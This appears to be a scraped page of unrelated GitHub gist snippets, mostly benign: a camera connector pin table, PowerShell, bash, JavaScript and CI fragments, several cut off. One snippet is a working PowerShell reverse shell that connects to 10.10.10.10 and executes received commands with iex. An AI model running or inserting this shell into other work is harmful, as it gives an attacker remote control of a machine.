pin | I/O | label | description | remark |
---|---|---|---|---|
1 | - | GND | ground | |
2 | I/O | I2CSCL | I²C clock | (pulled up by camera) |
3 | I/O | I2CSDA | I²C data | (pulled up by camera) |
4 | - | GND | ground | |
5 | I | BATTIN | battery input | |
6 | I | BATTIN | battery input | |
7 | O | 3V8OUT | unregulated power out 3.8V | 0V when camera is off. |
8 | O | 3V8STBY | unregulated power out 3.8V | always keep 3.8V unless battery is out. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Function Get-WinEventTail | |
{ | |
<# | |
.SYNOPSIS | |
A tail cmdlet for Eventlogs | |
.DESCRIPTION | |
This function will allow you to tail Windows Event Logs. You specify | |
a Logname for either the original logs, Application, System and Security or | |
the new format for the newer logs Microsoft-Windows-PowerShell/Operational | |
.PARAMETER LogName |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html | |
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
Just prepare a statement (https://www.php.net/manual/de/pdo.prepared-statements.php) and add where conditions when needed.
And if you have special cases, check for them at the beginning of your code and let a nother method handle this cases. So you will rech a cleaner code.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function videoAutoplay() | |
{ | |
var videos = document.getElementsByTagName('video'); | |
for(var i = 0; i < videos.length ; i++) | |
{ | |
videos[i].muted = true; | |
videos[i].autoplay = true; | |
videos[i].loop = true; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script type="text/javascript"> | |
/** | |
* Replaces assets that fail to load with working alternatives. | |
* | |
* Licence: Public domain | |
*/ | |
/** | |
* @param {Element} ele | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [ -z "$1" ] || [ -z "$2" ]; then | |
echo -e "usage: buil <fromTAG> <toTAG> <outputFOLDER>\n"; | |
echo -e "Creates a ZIP file with all files that where changed between the fromTAG and the toTag." | |
echo -e "Parameters:\n"; | |
echo -e "\t<fromTag>\t the tag FROM which you want to update"; | |
echo -e "\t<toTag>\t\t the tag TO which you want to update"; | |
echo -e "\t<outputFOLDER>\t the folder where the generated zip archive will be saved\n"; | |
echo -e "If you leave the outputFOLDER parameter empty, no archive will be created"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Before Script | |
before_script: | |
- composer self-update | |
- composer install --prefer-dist > /dev/null | |
- cp .env.example .env | |
- php artisan key:generate | |
- php artisan migrate:refresh | |
# Services | |
services: |
This combination of scripts monitors the services on an linux system, if a service is down it writes a log and sends a push notification via pushover (http://pushover.net). After all tests it flushes the mailq.
monitor_services.sh - Monitors the services and writes the log entry if one is down
bo.sh - small api implementation for pushover push notification service